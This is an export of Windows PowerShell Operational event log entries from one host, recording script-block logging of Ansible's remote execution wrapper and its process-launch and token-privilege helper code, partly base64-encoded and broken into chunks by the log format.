KCRyYXdfc3RkZXJyIC1tYXRjaCAiKD9zKSg/PHByZW5vaXNlMT4uKikjPCBDTElYTUwoPzxwcmVub2l
ScriptBlock ID: 3fa01211-e6a3-436a-96a1-6356641eedce
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2107 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3508 | 5116 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:50 AM | 61e00a24-ee3b-0003-730b-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (2 of 4):
ZmFsc2UpOwogICAgICAgICAgICBGaWxlU3RyZWFtIHN0ZGluX2ZzID0gbmV3IEZpbGVTdHJlYW0oc3RkaW5fd3JpdGUsIEZpbGVBY2Nlc3MuV3JpdGUsIDMyNzY4KTsKICAgICAgICAgICAgU3RyZWFtV3JpdGVyIHN0ZGluID0gbmV3IFN0cmVhbVdyaXRlcihzdGRpbl9mcywgdXRmOF9lbmNvZGluZywgMzI3NjgpOwoKICAgICAgICAgICAgLy8gSWYgbHBDdXJyZW50RGlyZWN0b3J5IGlzIHNldCB0byBudWxsIGluIFBTIGl0IHdpbGwgYmUgYW4gZW1wdHkKICAgICAgICAgICAgLy8gc3RyaW5nIGhlcmUsIHdlIG5lZWQgdG8gY29udmVydCBpdAogICAgICAgICAgICBpZiAobHBDdXJyZW50RGlyZWN0b3J5ID09ICIiKQogICAgICAgICAgICAgICAgbHBDdXJyZW50RGlyZWN0b3J5ID0gbnVsbDsKCiAgICAgICAgICAgIFN0cmluZ0J1aWxkZXIgZW52aXJvbm1lbnRTdHJpbmcgPSBudWxsOwoKICAgICAgICAgICAgaWYgKGVudmlyb25tZW50ICE9IG51bGwgJiYgZW52aXJvbm1lbnQuQ291bnQgPiAwKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBlbnZpcm9ubWVudFN0cmluZyA9IG5ldyBTdHJpbmdCdWlsZGVyKCk7CiAgICAgICAgICAgICAgICBmb3JlYWNoIChEaWN0aW9uYXJ5RW50cnkga3YgaW4gZW52aXJvbm1lbnQpCiAgICAgICAgICAgICAgICAgICAgZW52aXJvbm1lbnRTdHJpbmcuQXBwZW5kRm9ybWF0KCJ7MH09ezF9XDAiLCBrdi5LZXksIGt2LlZhbHVlKTsKICAgICAgICAgICAgICAgIGVudmlyb25tZW50U3RyaW5nLkFwcGVuZCgnXDAnKTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgLy8gQ3JlYXRlIHRoZSBlbnZpcm9ubWVudCBibG9jayBpZiBzZXQKICAgICAgICAgICAgSW50UHRyIGxwRW52aXJvbm1lbnQgPSBJbnRQdHIuWmVybzsKICAgICAgICAgICAgaWYgKGVudmlyb25tZW50U3RyaW5nICE9IG51bGwpCiAgICAgICAgICAgICAgICBscEVudmlyb25tZW50ID0gTWFyc2hhbC5TdHJpbmdUb0hHbG9iYWxVbmkoZW52aXJvbm1lbnRTdHJpbmcuVG9TdHJpbmcoKSk7CgogICAgICAgICAgICAvLyBDcmVhdGUgbmV3IHByb2Nlc3MgYW5kIHJ1bgogICAgICAgICAgICBTdHJpbmdCdWlsZGVyIGFyZ3VtZW50X3N0cmluZyA9IG5ldyBTdHJpbmdCdWlsZGVyKGxwQ29tbWFuZExpbmUpOwogICAgICAgICAgICBQUk9DRVNTX0lORk9STUFUSU9OIHBpID0gbmV3IFBST0NFU1NfSU5GT1JNQVRJT04oKTsKICAgICAgICAgICAgaWYgKCFDcmVhdGVQcm9jZXNzKAogICAgICAgICAgICAgICAgbHBBcHBsaWNhdGlvbk5hbWUsCiAgICAgICAgICAgICAgICBhcmd1bWVudF9zdHJpbmcsCiAgICAgICAgICAgICAgICBJbnRQdHIuWmVybywKICAgICAgICAgICAgICAgIEludFB0ci5aZXJvLAogICAgICAgICAgICAgICAgdHJ1ZSwKICAgICAgICAgICAgICAgIHN0YXJ0dXBfZmxhZ3MsCiAgICAgICAgICAgICAgICBscEVudmlyb25tZW50LAogICAgICAgICAgICAgICAgbHBDdXJyZW50RGlyZWN0b3J5LAogICAgICAgICAgICAgICAgc2ksCiAgICAgICAgICAgICAgICBvdXQgcGkpKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgV2luMzJFeGNlcHRpb24oIkZhaWxlZCB0byBjcmVhdGUgbmV3IHByb2Nlc3MiKTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgLy8gU2V0dXAgdGhlIG91dHB1dCBidWZmZXJzIGFuZCBnZXQgc3Rkb3V0L3N0ZGVycgogICAgICAgICAgICBGaWxlU3RyZWFtIHN0ZG91dF9mcyA9IG5ldyBGaWxlU3RyZWFtKHN0ZG91dF9yZWFkLCBGaWxlQWNjZXNzLlJlYWQsIDQwOTYpOwogICAgICAgICAgICBTdHJlYW1SZWFkZXIgc3Rkb3V0ID0gbmV3IFN0cmVhbVJlYWRlcihzdGRvdXRfZnMsIHV0ZjhfZW5jb2RpbmcsIHRydWUsIDQwOTYpOwogICAgICAgICAgICBzdGRvdXRfd3JpdGUuQ2xvc2UoKTsKICAgICAgICAgICAgRmlsZVN0cmVhbSBzdGRlcnJfZnMgPSBuZXcgRmlsZVN0cmVhbShzdGRlcnJfcmVhZCwgRmlsZUFjY2Vzcy5SZWFkLCA0MDk2KTsKICAgICAgICAgICAgU3RyZWFtUmVhZGVyIHN0ZGVyciA9IG5ldyBTdHJlYW1SZWFkZXIoc3RkZXJyX2ZzLCB1dGY4X2VuY29kaW5nL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wsIHNlID0gbnVsbDsKICAgICAgICAgICAgVGhyZWFkUG9vbC5RdWV1ZVVzZXJXb3JrSXRlbSgocykgPT4KICAgICAgICAgICAgewogICAgICAgICAgICAgICAgc28gPSBzdGRvdXRTdHJlYW0uUmVhZFRvRW5kKCk7CiAgICAgICAgICAgICAgICBzb3dhaXQuU2V0KCk7CiAgICAgICAgICAgIH0pOwogICAgICAgICAgICBUaHJlYWRQb29sLlF1ZXVlVXNlcldvcmtJdGVtKChzKSA9PgogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBzZSA9IHN0ZGVyclN0cmVhbS5SZWFkVG9FbmQoKTsKICAgICAgICAgICAgICAgIHNld2FpdC5TZXQoKTsKICAgICAgICAgICAgfSk7CiAgICAgICAgICAgIGZvcmVhY2ggKHZhciB3aCBpbiBuZXcgV2FpdEhhbmRsZVtdIHsgc293YWl0LCBzZXdhaXQgfSkKICAgICAgICAgICAgICAgIHdoLldhaXRPbmUoKTsKICAgICAgICAgICAgc3Rkb3V0ID0gc287CiAgICAgICAgICAgIHN0ZGVyciA9IHNlOwogICAgICAgIH0KCiAgICAgICAgcHJpdmF0ZSBzdGF0aWMgdWludCBHZXRQcm9jZXNzRXhpdENvZGUoSW50UHRyIHByb2Nlc3NIYW5kbGUpCiAgICAgICAgewogICAgICAgICAgICBuZXcgTmF0aXZlV2FpdEhhbmRsZShwcm9jZXNzSGFuZGxlKS5XYWl0T25lKCk7CiAgICAgICAgICAgIHVpbnQgZXhpdENvZGU7CiAgICAgICAgICAgIGlmICghR2V0RXhpdENvZGVQcm9jZXNzKHByb2Nlc3NIYW5kbGUsIG91dCBleGl0Q29kZSkpCiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgV2luMzJFeGNlcHRpb24oIkVycm9yIGdldHRpbmcgcHJvY2VzcyBleGl0IGNvZGUiKTsKICAgICAgICAgICAgcmV0dXJuIGV4aXRDb2RlOwogICAgICAgIH0KICAgIH0KfQoiQAoKJEVycm9yQWN0aW9uUHJlZmVy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QoKRnVuY3Rpb24gR2V0LUFuc2libGVQYXJhbSgkb2JqLCAkbmFtZSwgJGRlZmF1bHQgPSAkbnVsbCwgJHJlc3VsdG9iaiA9IEB7fSwgJGZhaWxpZmVtcHR5ID0gJGZhbHNlLCAkZW1wdHlhdHRyaWJ1dGVmYWlsbWVzc2FnZSwgJFZhbGlkYXRlU2V0LCAkVmFsaWRhdGVTZXRFcnJvck1lc3NhZ2UsICR0eXBlID0gJG51bGwsICRhbGlhc2VzID0gQCgpKQp7CjwjCiAgICAuU1lOT1BTSVMKICAgIEhlbHBlciBmdW5jdGlvbiB0byBnZXQgYW4gImF0dHJpYnV0ZSIgZnJvbSBhIHBzb2JqZWN0IGluc3RhbmNlIGluIFBvd2VyU2hlbGwuCiAgICBUaGl
ScriptBlock ID: 3fa01211-e6a3-436a-96a1-6356641eedce
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2106 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3508 | 5116 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:50 AM | 61e00a24-ee3b-0003-730b-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 4):
begin {
$DebugPreference = "Continue"
$ErrorActionPreference = "Stop"
Set-StrictMode -Version 2
function ConvertTo-HashtableFromPsCustomObject ($myPsObject){
$output = @{};
$myPsObject | Get-Member -MemberType *Property | % {
$val = $myPsObject.($_.name);
If ($val -is [psobject]) {
$val = ConvertTo-HashtableFromPsCustomObject $val
}
$output.($_.name) = $val
}
return $output;
}
# stream JSON including become_pw, ps_module_payload, bin_module_payload, become_payload, write_payload_path, preserve directives
# exec runspace, capture output, cleanup, return module output
# NB: do not adjust the following line- it is replaced when doing non-streamed module output
$json_raw = @'
{"min_ps_version": null, "exec": "CkZ1bmN0aW9uIFJ1bigkcGF5bG9hZCkgewogICAgJGVudHJ5cG9pbnQgPSAkcGF5bG9hZC5tb2R1bGVfZW50cnkKCiAgICAkZW50cnlwb2ludCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGVudHJ5cG9pbnQpKQoKICAgICRwcyA9IFtwb3dlcnNoZWxsXTo6Q3JlYXRlKCkKCiAgICAkcHMuQWRkU3RhdGVtZW50KCkuQWRkQ29tbWFuZCgiU2V0LVZhcmlhYmxlIikuQWRkUGFyYW1ldGVycyhAe1Njb3BlPSJnbG9iYWwiO05hbWU9ImNvbXBsZXhfYXJncyI7VmFsdWU9JHBheWxvYWQubW9kdWxlX2FyZ3N9KSB8IE91dC1OdWxsCiAgICAkcHMuQWRkQ29tbWFuZCgiT3V0LU51bGwiKSB8IE91dC1OdWxsCgogICAgIyByZWRlZmluZSBXcml0ZS1Ib3N0IHRvIGR1bXAgdG8gb3V0cHV0IGluc3RlYWQgb2YgZmFpbGluZy0gbG90cyBvZiBzY3JpcHRzIHVzZSBpdAogICAgJHBzLkFkZFN0YXRlbWVudCgpLkFkZFNjcmlwdCgiRnVuY3Rpb24gV3JpdGUtSG9zdChgJG1zZyl7IFdyaXRlLU91dHB1dCBgJG1zZyB9IikgfCBPdXQtTnVsbAoKICAgIEZvckVhY2ggKCRlbnZfa3YgaW4gJHBheWxvYWQuZW52aXJvbm1lbnQuR2V0RW51bWVyYXRvcigpKSB7CiAgICAgICAgIyBuZWVkIHRvIGVzY2FwZSAnIGluIGJvdGggdGhlIGtleSBhbmQgdmFsdWUKICAgICAgICAkZW52X2tleSA9ICRlbnZfa3YuS2V5LlRvU3RyaW5nKCkuUmVwbGFjZSgiJyIsICInJy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gICAgICAkZXhpdF9jb2RlID0gMQogICAgICAgIH0KICAgICAgICAjIG5lZWQgdG8gdXNlIHRoaXMgaW5zdGVhZCBvZiBFeGl0IGtleXdvcmQgdG8gcHJldmVudCBydW5zcGFjZSBmcm9tIGNyYXNoaW5nIHdpdGggZHluYW1pYyBtb2R1bGVzCiAgICAgICAgJGhvc3QuU2V0U2hvdWxkRXhpdCgkZXhpdF9jb2RlKQogICAgfQp9Cg==", "actions": ["exec"], "environment": {}, "min_os_version": null, "powershell_modules": {"Ansible.ModuleUtils.CommandUtil": "IyBDb3B5cmlnaHQgKGMpIDIwMTcgQW5zaWJsZSBQcm9qZWN0CiMgU2ltcGxpZmllZCBCU0QgTGljZW5zZSAoc2VlIGxpY2Vuc2VzL3NpbXBsaWZpZWRfYnNkLnR4dCBvciBodHRwczovL29wZW5zb3VyY2Uub3JnL2xpY2Vuc2VzL0JTRC0yLUNsYXVzZSkKCiRwcm9jZXNzX3V0aWwgPSBAIgp1c2luZyBNaWNyb3NvZnQuV2luMzIuU2FmZUhhbmRsZXM7CnVzaW5nIFN5c3RlbTsKdXNpbmcgU3lzdGVtLkNvbGxlY3Rpb25zOwp1c2luZyBTeXN0ZW0uSU87CnVzaW5nIFN5c3RlbS5MaW5xOwp1c2luZyBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXM7CnVzaW5nIFN5c3RlbS5UZXh0Owp1c2luZyBTeXN0ZW0uVGhyZWFkaW5nOwoKbmFtZXNwYWNlIEFuc2libGUKewogICAgW1N0cnVjdExheW91dChMYXlvdXRLaW5kLlNlcXVlbnRpYWwpXQogICAgcHVibGljIGNsYXNzIFNFQ1VSSVRZX0FUVFJJQlVURVMKICAgIHsKICAgICAgICBwdWJsaWMgaW50IG5MZW5ndGg7CiAgICAgICAgcHVibGljIEludFB0ciBscFNlY3VyaXR5RGVzY3JpcHRvcjsKICAgICAgICBwdWJsaWMgYm9vbCBiSW5oZXJpdEhhbmRsZSA9IGZhbHNlOwogICAgICAgIHB1YmxpYyBTRUNVUklUWV9BVFRSSUJVVEVTKCkKICAgICAgICB7CiAgICAgICAgICAgIG5MZW5ndGggPSBNYXJzaGFsLlNpemVPZih0aGlzKTsKICAgICAgICB9CiAgICB9CgogICAgW1N0cnVjdExheW91dChMYXlvdXRLaW5kLlNlcXVlbnRpYWwpXQogICAgcHVibGljIGNsYXNzIFNUQVJUVVBJTkZPCiAgICB7CiAgICAgICAgcHVibGljIEludDMyIGNiOwogICAgICAgIHB1YmxpYyBJbnRQdHIgbHBSZXNlcnZlZDsKICAgICAgICBwdWJsaWMgSW50UHRyIGxwRGVza3RvcDsKICAgICAgICBwdWJsaWMgSW50UHRyIGxwVGl0bGU7CiAgICAgICAgcHVibGljIEludDMyIGR3WDsKICAgICAgICBwdWJsaWMgSW50MzIgZHdZOwogICAgICAgIHB1YmxpYyBJbnQzMiBkd1hTaXplOwogICAgICAgIHB1YmxpYyBJbnQzMiBkd1lTaXplOwogICAgICAgIHB1YmxpYyBJbnQzMiBkd1hDb3VudENoYXJzOwogICAgICAgIHB1YmxpYyBJbnQzMiBkd1lDb3VudENoYXJzOwogICAgICAgIHB1YmxpYyBJbnQzMiBkd0ZpbGxBdHRyaWJ1dGU7CiAgICAgICAgcHVibGljIEludDMyIGR3RmxhZ3M7CiAgICAgICAgcHVibGljIEludDE2IHdTaG93V2luZG93OwogICAgICAgIHB1YmxpYyBJbnQxNiBjYlJlc2VydmVkMjsKICAgICAgICBwdWJsaWMgSW50UHRyIGxwUmVzZXJ2ZWQyOwogICAgICAgIHB1YmxpYyBTYWZlRmlsZUhhbmRsZSBoU3RkSW5wdXQ7CiAgICAgICAgcHVibGljIFNhZmVGaWxlSGFuZGxlIGhTdGRPdXRwdXQ7CiAgICAgICAgcHVibGljIFNhZmVGaWxlSGFuZGxlIGhTdGRFcnJvcjsKICAgICAgICBwdWJsaWMgU1RBUlRVUElORk8oKQogICAgICAgIHsKICAgICAgICAgICAgY2IgPSBNYXJzaGFsLlNpemVPZih0aGlzKTsKICAgICAgICB9CiAgICB9CgogICAgW1N0cnVjdExheW91dChMYXlvdXRLaW5kLlNlcXVlbnRpYWwpXQogICAgcHVibGljIGNsYXNzIFNUQVJUVVBJTkZPRVgKICAgIHsKICAgICAgICBwdWJsaWMgU1RBUlRVUElORk8gc3RhcnR1cEluZm87CiAgICAgICAgcHVibGljIEludFB0ciBscEF0dHJpYnV0ZUxpc3Q7CiAgICAgICAgcHVibGljIFNUQVJUVVBJTkZPRVgoKQogICAgICAgIHsKICAgICAgICAgICAgc3RhcnR1cEluZm8gPSBuZXcgU1RBUlRVUElORk8oKTsKICAgICAgICAgICAgc3RhcnR1cEluZm8uY2IgPSBNYXJzaGFsLlNpemVPZih0aGlzKTsKICAgICAgICB9CiAgICB9CgogICAgW1N0cnVjdExheW91dChMYXlvdXRLaW5kLlNlcXVlbnRpYWwpXQogICAgcHVibGljIHN0cnVjdCBQUk9DRVNTX0lORk9STUFUSU9OCiAgICB7CiAgICAgICAgcHVibGljIEludFB0ciBoUHJvY2VzczsKICAgICAgICBwdWJsaWMgSW50UHRyIGhUaHJlYWQ7CiAgICAgICAgcHVibGljIGludCBkd1Byb2Nlc3NJZDsKICAgICAgICBwdWJsaWMgaW50IGR3VGhyZWFkSWQ7CiAgICB9CgogICAgW0ZsYWdzXQogICAgcHVibGljIGVudW0gU3RhcnR1cEluZm9GbGFncyA6IHVpbnQKICAgIHsKICAgICAgICBVU0VTVERIQU5ETEVTID0gMHgwMDAwMDEwMAogICAgfQoKICAgIHB1YmxpYyBlbnVtIEhhbmRsZUZsYWdzIDogdWludAogICAgewogICAgICAgIE5vbmUgPSAwLAogICAgICAgIElOSEVSSVQgPSAxCiAgICB9CgogICAgY2xhc3MgTmF0aXZlV2FpdEhhbmRsZSA6IFdhaXRIYW5kbGUKICAgIHsKICAgICAgICBwdWJsaWMgTmF0aXZlV2FpdEhhbmRsZShJbnRQdHIgaGFuZGxlKQogICAgICAgIHsKICAgICAgICAgICAgdGhpcy5TYWZlV2F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MDAwMDsKCiAgICAgICAgW0RsbEltcG9ydCgia2VybmVsMzIuZGxsIiwgU2V0TGFzdEVycm9yID0gdHJ1ZSwgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSwgQmVzdEZpdE1hcHBpbmcgPSBmYWxzZSldCiAgICAgICAgcHVibGljIHN0YXRpYyBleHRlcm4gYm9vbCBDcmVhdGVQcm9jZXNzKAogICAgICAgICAgICBbTWFyc2hhbEFzKFVubWFuYWdlZFR5cGUuTFBXU3RyKV0KICAgICAgICAgICAgICAgIHN0cmluZyBscEFwcGxpY2F0aW9uTmFtZSwKICAgICAgICAgICAgU3RyaW5nQnVpbGRlciBscENvbW1hbmRMaW5lLAogICAgICAgICAgICBJbnRQdHIgbHBQcm9jZXNzQXR0cmlidXRlcywKICAgICAgICAgICAgSW50UHRyIGxwVGhyZWFkQXR0cmlidXRlcywKICAgICAgICAgICAgYm9vbCBiSW5oZXJpdEhhbmRsZXMsCiAgICAgICAgICAgIHVpbnQgZHdDcmVhdGlvbkZsYWdzLAogICAgICAgICAgICBJbnRQdHIgbHBFbnZpcm9ubWVudCwKICAgICAgICAgICAgW01hcnNoYWxBcyhVbm1hbmFnZWRUeXBlLkxQV1N0cildCiAgICAgICAgICAgICAgICBzdHJpbmcgbHBDdXJyZW50RGlyZWN0b3J5LAogICAgICAgICAgICBTVEFSVFVQSU5GT0VYIGxwU3RhcnR1cEluZm8sCiAgICAgICAgICAgIG91dCBQUk9DRVNTX0lORk9STUFUSU9OIGxwUHJvY2Vzc0luZm9ybWF0aW9uKTsKCiAgICAgICAgW0RsbEltcG9ydCgia2VybmVsMzIuZGxsIildCiAgICAgICAgcHVibGljIHN0YXRpYyBleHRlcm4gYm9vbCBDcmVhdGVQaXBlKAogICAgICAgICAgICBvdXQgU2FmZUZpbGVIYW5kbGUgaFJlYWRQaXBlLAogICAgICAgICAgICBvdXQgU2FmZUZpbGVIYW5kbGUgaFdyaXRlUGlwZSwKICAgICAgICAgICAgU0VDVVJJVFlfQVRUUklCVVRFUyBscFBpcGVBdHRyaWJ1dGVzLAogICAgICAgICAgICB1aW50IG5TaXplKTsKCiAgICAgICAgW0RsbEltcG9ydCgia2VybmVsMzIuZGxsIiwgU2V0TGFzdEVycm9yID0gdHJ1ZSldCiAgICAgICAgcHVibGljIHN0YXRpYyBleHRlcm4gYm9vbCBTZXRIYW5kbGVJbmZvcm1hdGlvbigKICAgICAgICAgICAgU2FmZUZpbGVIYW5kbGUgaE9iamVjdCwKICAgICAgICAgICAgSGFuZGxlRmxhZ3MgZHdNYXNrLAogICAgICAgICAgICBpbnQgZHdGbGFncyk7CgogICAgICAgIFtEbGxJbXBvcnQoImtlcm5lbDMyLmRsbCIsIFNldExhc3RFcnJvciA9IHRydWUpXQogICAgICAgIHByaXZhdGUgc3RhdGljIGV4dGVybiBib29sIEdldEV4aXRDb2RlUHJvY2VzcygKICAgICAgICAgICAgSW50UHRyIGhQcm9jZXNzLAogICAgICAgICAgICBvdXQgdWludCBscEV4aXRDb2RlKTsKCiAgICAgICAgW0RsbEltcG9ydCgia2VybmVsMzIuZGxsIiwgU2V0TGFzdEVycm9yID0gdHJ1ZSwgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldCiAgICAgICAgcHVibGljIHN0YXRpYyBleHRlcm4gdWludCBTZWFyY2hQYXRoKAogICAgICAgICAgICBzdHJpbmcgbHBQYXRoLAogICAgICAgICAgICBzdHJpbmcgbHBGaWxlTmFtZSwKICAgICAgICAgICAgc3RyaW5nIGxwRXh0ZW5zaW9uLAogICAgICAgICAgICBpbnQgbkJ1ZmZlckxlbmd0aCwKICAgICAgICAgICAgW01hcnNoYWxBcyAoVW5tYW5hZ2VkVHlwZS5MUFRTdHIpXQogICAgICAgICAgICAgICAgU3RyaW5nQnVpbGRlciBscEJ1ZmZlciwKICAgICAgICAgICAgb3V0IEludFB0ciBscEZpbGVQYXJ0KTsKCiAgICAgICAgW0RsbEltcG9ydCgic2hlbGwzMi5kbGwiLCBTZXRMYXN0RXJyb3IgPSB0cnVlKV0KICAgICAgICBzdGF0aWMgZXh0ZXJuIEludFB0ciBDb21tYW5kTGluZVRvQXJndlcoCiAgICAgICAgICAgIFtNYXJzaGFsQXMoVW5tYW5hZ2VkVHlwZS5MUFdTdHIpXQogICAgICAgICAgICAgICAgc3RyaW5nIGxwQ21kTGluZSwKICAgICAgICAgICAgb3V0IGludCBwTnVtQXJncyk7CgogICAgICAgIHB1YmxpYyBzdGF0aWMgc3RyaW5nW10gUGFyc2VDb21tYW5kTGluZShzdHJpbmcgbHBDb21tYW5kTGluZSkKICAgICAgICB7CiAgICAgICAgICAgIGludCBudW1BcmdzOwogICAgICAgICAgICBJbnRQdHIgcmV0ID0gQ29tbWFuZExpbmVUb0FyZ3ZXKGxwQ29tbWFuZExpbmUsIG91dCBudW1BcmdzKTsKCiAgICAgICAgICAgIGlmIChyZXQgPT0gSW50UHRyLlplcm8pCiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgV2luMzJFeGNlcHRpb24oIkVycm9yIHBhcnNpbmcgY29tbWFuZCBsaW5lIik7CgogICAgICAgICAgICBJbnRQdHJbXSBzdHJwdHJzID0gbmV3IEludFB0cltudW1BcmdzXTsKICAgICAgICAgICAgTWFyc2hhbC5Db3B5KHJldCwgc3RycHRycywgMCwgbnVtQXJncyk7CiAgICAgICAgICAgIHN0cmluZ1tdIGNtZGxpbmVQYXJ0cyA9IHN0cnB0cnMuU2VsZWN0KHMgPT4gTWFyc2hhbC5QdHJUb1N0cmluZ1VuaShzKSkuVG9BcnJheSgpOwoKICAgICAgICAgICAgTWFyc2hhbC5GcmVlSEdsb2JhbChyZXQpOwoKICAgICAgICAgICAgcmV0dXJuIGNtZGxpbmVQYXJ0czsKICAgICAgICB9CgogICAgICAgIHB1YmxpYyBzdGF0aWMgc3RyaW5nIFNlYXJjaFBhdGgoc3RyaW5nIGxwRmlsZU5hbWUpCiAgICAgICAgewogICAgICAgICAgICBTdHJpbmdCdWlsZGVyIHNiT3V0ID0gbmV3I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 | 2 | 15 | 0 | 2105 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3508 | 5116 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:50 AM | 61e00a24-ee3b-0003-730b-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 2104 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3508 | 3504 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:50 AM | 61e00a24-ee3b-0003-710b-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 3508 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 2103 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3508 | 2428 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:50 AM | 61e00a24-ee3b-0003-710b-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 2102 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3508 | 3504 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:50 AM | 61e00a24-ee3b-0003-710b-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
CommandInvocation(Add-Type): "Add-Type"
ParameterBinding(Add-Type): name="TypeDefinition"; value="using Microsoft.Win32.SafeHandles;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.InteropServices;
using System.Security.Principal;
using System.Text;
namespace Ansible.PrivilegeUtil
{
[Flags]
public enum PrivilegeAttributes : uint
{
Disabled = 0x00000000,
EnabledByDefault = 0x00000001,
Enabled = 0x00000002,
Removed = 0x00000004,
UsedForAccess = 0x80000000,
}
internal class NativeHelpers
{
[StructLayout(LayoutKind.Sequential)]
internal struct LUID
{
public UInt32 LowPart;
public Int32 HighPart;
}
[StructLayout(LayoutKind.Sequential)]
internal struct LUID_AND_ATTRIBUTES
{
public LUID Luid;
public PrivilegeAttributes Attributes;
}
[StructLayout(LayoutKind.Sequential)]
internal struct TOKEN_PRIVILEGES
{
public UInt32 PrivilegeCount;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 1)]
public LUID_AND_ATTRIBUTES[] Privileges;
}
}
internal class NativeMethods
{
[DllImport("advapi32.dll", SetLastError = true)]
internal static extern bool AdjustTokenPrivileges(
IntPtr TokenHandle,
[MarshalAs(UnmanagedType.Bool)] bool DisableAllPrivileges,
IntPtr NewState,
UInt32 BufferLength,
IntPtr PreviousState,
out UInt32 ReturnLength);
[DllImport("kernel32.dll")]
internal static extern bool CloseHandle(
IntPtr hObject);
[DllImport("kernel32")]
internal static extern SafeWaitHandle GetCurrentProcess();
[DllImport("advapi32.dll", SetLastError = true)]
internal static extern bool GetTokenInformation(
IntPtr TokenHandle,
UInt32 TokenInformationClass,
IntPtr TokenInformation,
UInt32 TokenInformationLength,
out UInt32 ReturnLength);
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
internal static extern bool LookupPrivilegeName(
string lpSystemName,
ref NativeHelpers.LUID lpLuid,
StringBuilder lpName,
ref UInt32 cchName);
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
internal static extern bool LookupPrivilegeValue(
string lpSystemName,
string lpName,
out NativeHelpers.LUID lpLuid);
[DllImport("advapi32.dll", SetLastError = true)]
internal static extern bool OpenProcessToken(
SafeHandle ProcessHandle,
TokenAccessLevels DesiredAccess,
out IntPtr TokenHandle);
}
public class Win32Exception : System.ComponentModel.Win32Exception
{
private string _msg;
public Win32Exception(string message) : this(Marshal.GetLastWin32Error(), message) { }
public Win32Exception(int errorCode, string message) : base(errorCode)
{
_msg = String.Format("{0} ({1}, Win32ErrorCode {2})", message, base.Message, errorCode);
}
public override string Message { get { return _msg; } }
public static explicit operator Win32Exception(string message) { return new Win32Exception(message); }
}
public class Privileges
{
private static readonly UInt32 TOKEN_PRIVILEGES = 3;
public static bool CheckPrivilegeName(string name)
{
NativeHelpers.LUID luid;
